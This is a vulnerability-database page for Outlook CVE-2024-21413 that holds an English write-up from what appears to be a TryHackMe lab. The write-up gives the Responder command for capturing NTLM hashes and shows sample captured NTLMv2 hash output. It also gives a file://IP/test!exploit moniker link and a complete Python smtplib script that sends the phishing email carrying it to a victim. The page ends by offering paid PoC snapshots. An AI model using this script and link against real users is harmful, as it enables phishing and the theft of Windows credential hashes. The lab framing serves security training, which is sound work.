关联漏洞
标题：
Microsoft Outlook 安全漏洞
(CVE-2024-21413)
描述：Microsoft Outlook是美国微软（Microsoft）公司的一套电子邮件应用程序。 Microsoft Outlook 存在安全漏洞。以下产品和版本受到影响：Microsoft Office 2019 for 32-bit editions,Microsoft Office 2019 for 64-bit editions,Microsoft 365 Apps for Enterprise for 32-bit Systems,Microsoft 365 Apps for Enterprise
描述
The project was created to demonstrate the use of various tools for capturing NTLM hashes from users on a network and for executing phishing attacks using email. This showcases how network authentication vulnerabilities and phishing methods can be exploited to compromise systems.
介绍
Project Goal:
The project was created to demonstrate the use of various tools for capturing NTLM hashes from users on a network and for executing phishing attacks using email. This showcases how network authentication vulnerabilities and phishing methods can be exploited to compromise systems.
Process Description
1. Capturing NTLM Hashes using Responder
Initially, I used the Responder tool to capture authentication hashes over the network. Responder allows intercepting queries such as LLMNR, NBT-NS, and MDNS to collect NTLM hashes of users. This is an important step for attacks aimed at gaining access to systems using captured hashes.
I ran the following command to start Responder:
root@ip-10-10-192-145:~# sudo responder -I ens5
I configured Responder to listen on the ens5 interface. It immediately began intercepting authentication requests, allowing me to view NTLM hashes from users on the network, such as THM-MONIKERLINK\tryhackme and WORKGROUP\Administrator. Here's how the output looked when capturing the hashes:
[SMB] NTLMv2-SSP Client : ::ffff:10.10.251.212
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:0b8bfa4ac2e8a954:4E86E98E55FBE019FB31815DDD4445DB
These hashes can then be used for attacks such as brute force or hash attacks.
2. Phishing Emails with Exploit
Next, I created a phishing email containing a link to a malicious file. Using a Python script with the smtplib library, I sent the email to the victim's address. The email included an HTML link that appeared safe but actually led to a file designed to exploit a vulnerability.
The phishing link in the email looked like this:
<p><a href="file://10.10.192.145/test!exploit">Click me</a></p>
Here’s the full Python script used to send the phishing email:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm'
receiver_email = 'victim@monikerlink.thm'
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html> <html lang="en"> <p><a href="file://10.10.192.145/test!exploit">Click me</a></p> </html> """
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
msgHtml = MIMEText(html_content, 'html')
message.attach(msgHtml)
server = smtplib.SMTP('10.10.251.212 ', 25)
server.ehlo()
try:
server.login(sender_email, password)
except Exception as err:
print(err)
exit(-1)
try:
server.sendmail(sender_email, [receiver_email], message.as_string())
print("\nEmail delivered")
except Exception as error:
print(error)
finally:
server.quit()
This script sends an email with a malicious link, which could potentially exploit the CVE-2024-21413 vulnerability.
Results
As a result, I was able to demonstrate two key aspects:
Capturing NTLM hashes using the Responder tool, which is a crucial step for attacking network authentication.
Phishing and exploiting vulnerabilities via email using the Python script. Sending phishing emails with malicious links can trick users and lead to system compromise.
This project showed how network vulnerabilities and phishing attacks can be exploited to gain access to systems. It also highlighted the importance of defending against such attacks through strong authentication methods and email traffic filtering.
文件快照
[4.0K] /data/pocs/29e09a4e18225dc7a4fc07e5141f405deafcd793
├── [132K] 10.jpeg
├── [297K] 11.jpeg
├── [ 90K] 1.jpeg
├── [136K] 2.jpeg
├── [144K] 3.jpeg
├── [144K] 4.jpeg
├── [100K] 5.jpeg
├── [ 82K] 6.jpeg
├── [ 90K] 7.jpeg
├── [146K] 8.jpeg
├── [148K] 9.jpeg
└── [3.4K] README.md
0 directories, 12 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。